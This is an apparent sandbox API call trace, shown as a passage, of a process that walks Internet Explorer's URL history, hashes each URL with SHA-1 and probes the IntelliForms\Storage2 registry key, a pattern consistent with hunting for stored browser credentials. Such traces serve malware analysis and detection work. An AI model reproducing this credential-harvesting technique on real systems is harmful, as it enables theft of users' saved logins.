	[0211.348] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5afe30) returned 1
	[0211.352] GetLastError () returned 0x0
	[0211.352] CryptCreateHash (in: hProv=0x5afe30, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.352] GetLastError () returned 0x0
	[0211.352] CryptHashData (hHash=0x5bb4b0, pbData=0x2570c74, dwDataLen=0x78, dwFlags=0x0) returned 1
	[0211.352] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2570d74, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2570d74, pdwDataLen=0x5ffde9c) returned 1
	[0211.352] GetLastError () returned 0x0
	[0211.352] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.352] CryptReleaseContext (hProv=0x5afe30, dwFlags=0x0) returned 1
	[0211.352] GetLastError () returned 0x0
	[0211.352] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.352] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.352] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.353] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.353] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.353] CoTaskMemFree (pv=0x5e9568) 
	[0211.353] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b00d8) returned 1
	[0211.354] GetLastError () returned 0x0
	[0211.354] CryptCreateHash (in: hProv=0x5b00d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.354] GetLastError () returned 0x0
	[0211.354] CryptHashData (hHash=0x5bb4b0, pbData=0x2571ac4, dwDataLen=0xac, dwFlags=0x0) returned 1
	[0211.354] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2571bf8, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2571bf8, pdwDataLen=0x5ffde9c) returned 1
	[0211.354] GetLastError () returned 0x0
	[0211.355] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.355] CryptReleaseContext (hProv=0x5b00d8, dwFlags=0x0) returned 1
	[0211.355] GetLastError () returned 0x0
	[0211.355] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.355] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.355] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.355] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.356] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.356] CoTaskMemFree (pv=0x5e5340) 
	[0211.356] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5affc8) returned 1
	[0211.357] GetLastError () returned 0x0
	[0211.357] CryptCreateHash (in: hProv=0x5affc8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.357] GetLastError () returned 0x0
	[0211.357] CryptHashData (hHash=0x5bb4b0, pbData=0x25728e0, dwDataLen=0x78, dwFlags=0x0) returned 1
	[0211.357] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25729e0, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25729e0, pdwDataLen=0x5ffde9c) returned 1
	[0211.357] GetLastError () returned 0x0
	[0211.357] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.357] CryptReleaseContext (hProv=0x5affc8, dwFlags=0x0) returned 1
	[0211.357] GetLastError () returned 0x0
	[0211.357] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.358] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.358] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.358] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.359] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.359] CoTaskMemFree (pv=0x5e8e18) 
	[0211.359] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5affc8) returned 1
	[0211.360] GetLastError () returned 0x0
	[0211.360] CryptCreateHash (in: hProv=0x5affc8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.360] GetLastError () returned 0x0
	[0211.360] CryptHashData (hHash=0x5bb4b0, pbData=0x2573784, dwDataLen=0xd6, dwFlags=0x0) returned 1
	[0211.360] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x25738e0, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x25738e0, pdwDataLen=0x5ffde9c) returned 1
	[0211.360] GetLastError () returned 0x0
	[0211.360] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.360] CryptReleaseContext (hProv=0x5affc8, dwFlags=0x0) returned 1
	[0211.360] GetLastError () returned 0x0
	[0211.360] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.361] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.361] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.361] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.361] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.362] CoTaskMemFree (pv=0x5d5b68) 
	[0211.362] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5affc8) returned 1
	[0211.363] GetLastError () returned 0x0
	[0211.363] CryptCreateHash (in: hProv=0x5affc8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.363] GetLastError () returned 0x0
	[0211.363] CryptHashData (hHash=0x5bb4b0, pbData=0x2574590, dwDataLen=0x5c, dwFlags=0x0) returned 1
	[0211.363] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2574674, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2574674, pdwDataLen=0x5ffde9c) returned 1
	[0211.363] GetLastError () returned 0x0
	[0211.363] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.363] CryptReleaseContext (hProv=0x5affc8, dwFlags=0x0) returned 1
	[0211.363] GetLastError () returned 0x0
	[0211.363] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.363] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.363] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.364] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.365] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.365] CoTaskMemFree (pv=0x5d9d90) 
	[0211.365] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5affc8) returned 1
	[0211.366] GetLastError () returned 0x0
	[0211.366] CryptCreateHash (in: hProv=0x5affc8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.366] GetLastError () returned 0x0
	[0211.366] CryptHashData (hHash=0x5bb4b0, pbData=0x25753f4, dwDataLen=0xc4, dwFlags=0x0) returned 1
	[0211.366] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2575540, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2575540, pdwDataLen=0x5ffde9c) returned 1
	[0211.366] GetLastError () returned 0x0
	[0211.366] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.366] CryptReleaseContext (hProv=0x5affc8, dwFlags=0x0) returned 1
	[0211.366] GetLastError () returned 0x0
	[0211.366] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.366] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.366] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.367] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.367] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.367] CoTaskMemFree (pv=0x5d74a0) 
	[0211.367] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5affc8) returned 1
	[0211.368] GetLastError () returned 0x0
	[0211.368] CryptCreateHash (in: hProv=0x5affc8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.368] GetLastError () returned 0x0
	[0211.368] CryptHashData (hHash=0x5bb4b0, pbData=0x2576274, dwDataLen=0x9e, dwFlags=0x0) returned 1
	[0211.368] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2576398, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2576398, pdwDataLen=0x5ffde9c) returned 1
	[0211.369] GetLastError () returned 0x0
	[0211.369] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.369] CryptReleaseContext (hProv=0x5affc8, dwFlags=0x0) returned 1
	[0211.369] GetLastError () returned 0x0
	[0211.369] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.369] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.369] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.369] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.370] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.370] CoTaskMemFree (pv=0x5b00d8) 
	[0211.370] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b00d8) returned 1
	[0211.371] GetLastError () returned 0x0
	[0211.371] CryptCreateHash (in: hProv=0x5b00d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.371] GetLastError () returned 0x0
	[0211.371] CryptHashData (hHash=0x5bb4b0, pbData=0x2577084, dwDataLen=0x7a, dwFlags=0x0) returned 1
	[0211.371] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2577184, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2577184, pdwDataLen=0x5ffde9c) returned 1
	[0211.371] GetLastError () returned 0x0
	[0211.371] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.371] CryptReleaseContext (hProv=0x5b00d8, dwFlags=0x0) returned 1
	[0211.371] GetLastError () returned 0x0
	[0211.371] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.371] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.371] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.372] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.372] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.372] CoTaskMemFree (pv=0x5e7408) 
	[0211.372] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b00d8) returned 1
	[0211.373] GetLastError () returned 0x0
	[0211.373] CryptCreateHash (in: hProv=0x5b00d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.373] GetLastError () returned 0x0
	[0211.373] CryptHashData (hHash=0x5bb4b0, pbData=0x2577e54, dwDataLen=0x6c, dwFlags=0x0) returned 1
	[0211.373] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2577f48, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2577f48, pdwDataLen=0x5ffde9c) returned 1
	[0211.373] GetLastError () returned 0x0
	[0211.374] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.374] CryptReleaseContext (hProv=0x5b00d8, dwFlags=0x0) returned 1
	[0211.374] GetLastError () returned 0x0
	[0211.374] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.374] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.374] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.374] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.375] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.375] CoTaskMemFree (pv=0x58d768) 
	[0211.375] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b00d8) returned 1
	[0211.376] GetLastError () returned 0x0
	[0211.376] CryptCreateHash (in: hProv=0x5b00d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.376] GetLastError () returned 0x0
	[0211.376] CryptHashData (hHash=0x5bb4b0, pbData=0x2578bf0, dwDataLen=0x58, dwFlags=0x0) returned 1
	[0211.376] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2578cd0, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2578cd0, pdwDataLen=0x5ffde9c) returned 1
	[0211.376] GetLastError () returned 0x0
	[0211.376] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.376] CryptReleaseContext (hProv=0x5b00d8, dwFlags=0x0) returned 1
	[0211.376] GetLastError () returned 0x0
	[0211.376] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.376] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.376] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.377] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.379] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.379] CoTaskMemFree (pv=0x51f2460) 
	[0211.380] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b00d8) returned 1
	[0211.381] GetLastError () returned 0x0
	[0211.381] CryptCreateHash (in: hProv=0x5b00d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.381] GetLastError () returned 0x0
	[0211.381] CryptHashData (hHash=0x5bb4b0, pbData=0x257996c, dwDataLen=0x52, dwFlags=0x0) returned 1
	[0211.381] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x2579a44, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x2579a44, pdwDataLen=0x5ffde9c) returned 1
	[0211.381] GetLastError () returned 0x0
	[0211.381] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.381] CryptReleaseContext (hProv=0x5b00d8, dwFlags=0x0) returned 1
	[0211.381] GetLastError () returned 0x0
	[0211.381] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.381] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.381] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.382] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.382] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.382] CoTaskMemFree (pv=0x58bcc8) 
	[0211.382] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b00d8) returned 1
	[0211.383] GetLastError () returned 0x0
	[0211.383] CryptCreateHash (in: hProv=0x5b00d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.383] GetLastError () returned 0x0
	[0211.383] CryptHashData (hHash=0x5bb4b0, pbData=0x257a740, dwDataLen=0x82, dwFlags=0x0) returned 1
	[0211.384] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x257a848, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x257a848, pdwDataLen=0x5ffde9c) returned 1
	[0211.384] GetLastError () returned 0x0
	[0211.384] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.384] CryptReleaseContext (hProv=0x5b00d8, dwFlags=0x0) returned 1
	[0211.384] GetLastError () returned 0x0
	[0211.384] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.384] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.384] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.384] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.385] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.385] CoTaskMemFree (pv=0x5a1da0) 
	[0211.385] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b00d8) returned 1
	[0211.386] GetLastError () returned 0x0
	[0211.386] CryptCreateHash (in: hProv=0x5b00d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.386] GetLastError () returned 0x0
	[0211.386] CryptHashData (hHash=0x5bb4b0, pbData=0x257b570, dwDataLen=0x98, dwFlags=0x0) returned 1
	[0211.386] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x257b690, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x257b690, pdwDataLen=0x5ffde9c) returned 1
	[0211.386] GetLastError () returned 0x0
	[0211.386] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.386] CryptReleaseContext (hProv=0x5b00d8, dwFlags=0x0) returned 1
	[0211.386] GetLastError () returned 0x0
	[0211.386] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.386] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.386] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.387] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.387] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.387] CoTaskMemFree (pv=0x5e54c0) 
	[0211.387] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b00d8) returned 1
	[0211.388] GetLastError () returned 0x0
	[0211.388] CryptCreateHash (in: hProv=0x5b00d8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.388] GetLastError () returned 0x0
	[0211.388] CryptHashData (hHash=0x5bb4b0, pbData=0x257c378, dwDataLen=0x78, dwFlags=0x0) returned 1
	[0211.388] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x257c478, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x257c478, pdwDataLen=0x5ffde9c) returned 1
	[0211.389] GetLastError () returned 0x0
	[0211.389] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.389] CryptReleaseContext (hProv=0x5b00d8, dwFlags=0x0) returned 1
	[0211.389] GetLastError () returned 0x0
	[0211.389] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.389] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.389] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.389] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.390] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.390] CoTaskMemFree (pv=0x5b02f8) 
	[0211.390] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b02f8) returned 1
	[0211.391] GetLastError () returned 0x0
	[0211.391] CryptCreateHash (in: hProv=0x5b02f8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.391] GetLastError () returned 0x0
	[0211.391] CryptHashData (hHash=0x5bb4b0, pbData=0x257d16c, dwDataLen=0x7e, dwFlags=0x0) returned 1
	[0211.391] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x257d270, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x257d270, pdwDataLen=0x5ffde9c) returned 1
	[0211.391] GetLastError () returned 0x0
	[0211.391] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.391] CryptReleaseContext (hProv=0x5b02f8, dwFlags=0x0) returned 1
	[0211.391] GetLastError () returned 0x0
	[0211.392] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.392] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.392] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.392] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.393] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.393] CoTaskMemFree (pv=0x5e9340) 
	[0211.393] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b02f8) returned 1
	[0211.394] GetLastError () returned 0x0
	[0211.394] CryptCreateHash (in: hProv=0x5b02f8, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.394] GetLastError () returned 0x0
	[0211.394] CryptHashData (hHash=0x5bb4b0, pbData=0x257dfc8, dwDataLen=0xb0, dwFlags=0x0) returned 1
	[0211.394] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x257e100, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x257e100, pdwDataLen=0x5ffde9c) returned 1
	[0211.394] GetLastError () returned 0x0
	[0211.394] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.394] CryptReleaseContext (hProv=0x5b02f8, dwFlags=0x0) returned 1
	[0211.394] GetLastError () returned 0x0
	[0211.394] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.394] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.394] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.395] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1 | out: rgelt=0x5af788, pceltFetched=0x2536cb8*=0x1) returned 0x0
	[0211.395] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.395] CoTaskMemFree (pv=0x56f8f0) 
	[0211.395] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0408) returned 1
	[0211.396] GetLastError () returned 0x0
	[0211.396] CryptCreateHash (in: hProv=0x5b0408, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.396] GetLastError () returned 0x0
	[0211.396] CryptHashData (hHash=0x5bb4b0, pbData=0x257ee14, dwDataLen=0x8e, dwFlags=0x0) returned 1
